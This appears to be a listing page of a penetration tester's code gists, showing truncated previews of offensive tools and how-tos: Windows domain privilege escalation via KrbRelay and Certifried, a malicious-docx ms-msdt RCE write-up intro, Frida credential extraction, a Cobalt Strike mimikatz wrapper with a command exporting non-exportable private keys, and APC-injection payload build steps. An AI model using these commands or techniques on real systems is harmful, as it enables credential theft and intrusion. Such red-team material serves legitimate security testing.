| #!/usr/bin/env python3 | |
| # | |
| # inputs: nmap.xml (nmap scan xml output), subdomains.csv (optional virtualhost info, hostname + ip address csv file) | |
| # output: url listing (useful for tools like EyeWitness) | |
| # | |
| # sample usage: ./nmap-http-url.py nmap.xml subdomains.csv | sort -u | gowitness file -f - | |
| # | |
| description = ''' | |
| Generate HTTP URLs from Nmap XML (and optionally additional VirtualHost listing, taken from e.g. subdomain enumeration). |
Short HOWTO about one use case of the work from Cube0x0 (KrbRelay) and others.
No-Fix Local Privilege Escalation from low-priviliged domain user to local system on domain-joined computers.
Prerequisites:
Certifried (CVE-2022-26923) gives Domain Admin from non-privileged user with the requirement adding computer accounts or owning a computer account. Kerberos Relay targeting LDAP and Shadow Credentials gives a non-privileged domain user on a domain-joined machine local admin access on (aka owning) the machine. Combination of these two: non-privileged domain user escalating to Domain Admin without the requirement adding/owning computer accounts.
The attack below uses only Windows (no Linux tools interacting with the Domain), simulating a real-world attack scenario.
Prerequisites:
MS Office docx files may contain external OLE Object references as HTML files. There is an HTML sceme "ms-msdt:" which invokes the msdt diagnostic tool, what is capable of executing arbitrary code (specified in parameters).
The result is a terrifying attack vector for getting RCE through opening malicious docx files (without using macros).
Here are the steps to build a Proof-of-Concept docx:
| # extract credentials from CPAU (and possibly other) encrypted config file | |
| # using the original CPAU.exe and hooking WinAPI call CreateProcessWithLogonW using Frida.re | |
| # | |
| # https://www.joeware.net/freetools/tools/cpau/ | |
| # | |
| import sys | |
| import frida | |
| def on_message(message, data): |
| # run: mitmproxy -k -p 8090 -s mitmproxy-jwt-refresh-addon.py | |
| # set burp upstream proxy to localhost:8090 | |
| # | |
| # use case: | |
| # - application authorization is implemented by OAuth 2.0 | |
| # - testing is performed using Burp as primary and mitmproxy as upstream proxy | |
| # - mitmproxy takes care of the Authorization tokens using this addon | |
| # - user gets an access_token and a refresh_token during the 1st login (e.g. password login) | |
| # - mitmproxy addon caches access_token and refresh_token | |
| # - mitmproxy addon adds Authorization: Bearer [access_token from cache] header for every request |
| # | |
| # multi-command mimikatz in a Cobalt Strike beacon extending the built-in mimikatz functionality | |
| # | |
| # cmd separator is | | |
| # | |
| # practical example: export machine certificates (including non-exportable private key :)): | |
| # | |
| # mmimikatz "crypto::capi|crypto::certificates /systemstore:local_machine /store:my /export" | |
| # |
| /// Using with GadgetToJScript (e.g. for VBS payload): | |
| /// 1.) compile to DLL: c:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library /out:DInjectQueuerAPC.dll /r:System.Net.Http.dll DInjectQueuerAPC.cs | |
| /// 2.) generate VBS: GadgetToJScript.exe -w vbs -b -o DInjectQueuerAPC -a DInjectQueuerAPC.dll | |
| /// 3.) test: cscript.exe DInjectQueuerAPC.vbs | |
| using System; | |
| using System.Diagnostics; | |
| using System.IO; | |
| using System.Runtime.InteropServices; | |
| using System.Threading.Tasks; |
This is a minimal /etc/ssl/openssl.cnf supporting legacy algorithms on modern openssl installations
where it is disabled by default.
The marked (######) lines should be added to your openssl.cnf (other parts may be unchanged).
For checking if legacy providers are enabled successfully:
$ openssl list -providers
Providers:
| #!/usr/bin/python -u | |
| from exchangelib import Credentials, Configuration, Account, DELEGATE, Message, Mailbox, ExtendedProperty | |
| from exchangelib.ewsdatetime import EWSDateTime, EWSTimeZone, UTC_NOW | |
| from exchangelib.protocol import BaseProtocol, NoVerifyHTTPAdapter | |
| BaseProtocol.HTTP_ADAPTER_CLS = NoVerifyHTTPAdapter | |
| import urllib3 | |
| urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) |